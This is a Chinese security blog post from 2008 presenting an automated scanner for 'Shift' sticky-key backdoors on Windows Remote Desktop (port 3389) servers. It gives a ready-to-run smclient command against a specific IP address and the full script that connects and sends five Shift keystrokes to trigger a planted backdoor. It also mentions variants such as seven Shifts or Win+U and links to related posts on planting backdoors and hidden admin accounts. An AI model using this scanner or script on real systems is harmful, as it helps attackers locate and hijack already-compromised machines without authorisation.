夜火博客

3389的SHIFT后门自动扫描工具

2008-9-15 20:23:16  分类:安全工具  作者:xloong 已被围观loading 次 被网友评论0条 我要评论

以前夜火我介绍过不少shift相关的后门文章了：

• XP、2003开3389+非net创建管理用户+Shift后门+自删除脚本vbs
• 2000/xp/vista下5次shift的粘滞键利用
• shift后门加密版制作及不死3389帐号建立

今天来看看cloie的3389的SHIFT后门自动扫描工具：

首先3389的SHIFT后门极少，其次大部分SHIFT后门都加密

所以手工一个一个尝试是挺傻的，写成自动扫描的话，还能让人忍受

smclient -f:shift_backdoor.txt -s:125.91.15.254 -l:1 -v -d

shift_backdoor.txt：
job
{
connect("","","",1,1);
sleep(2000);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
sleep(2000);
disconnect();
}

有些SHIFT后门被改成了按7次SHIFT，或者是WIN+U后门，改改shift_backdoor.txt把功能加进去即可

3389的SHIFT后门自动扫描工具 下载地址

From:cloie

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
如原创文章转载，请注明： 转自：夜火博客 [ http://www.15897.com/ ]

本文链接地址： http://www.15897.com/blog/post/3389-shift-backdoor-Scan.html

Tags: 3389   后门   Scanner  

已有0位网友对本文做了一针见血的评论 【我要评论】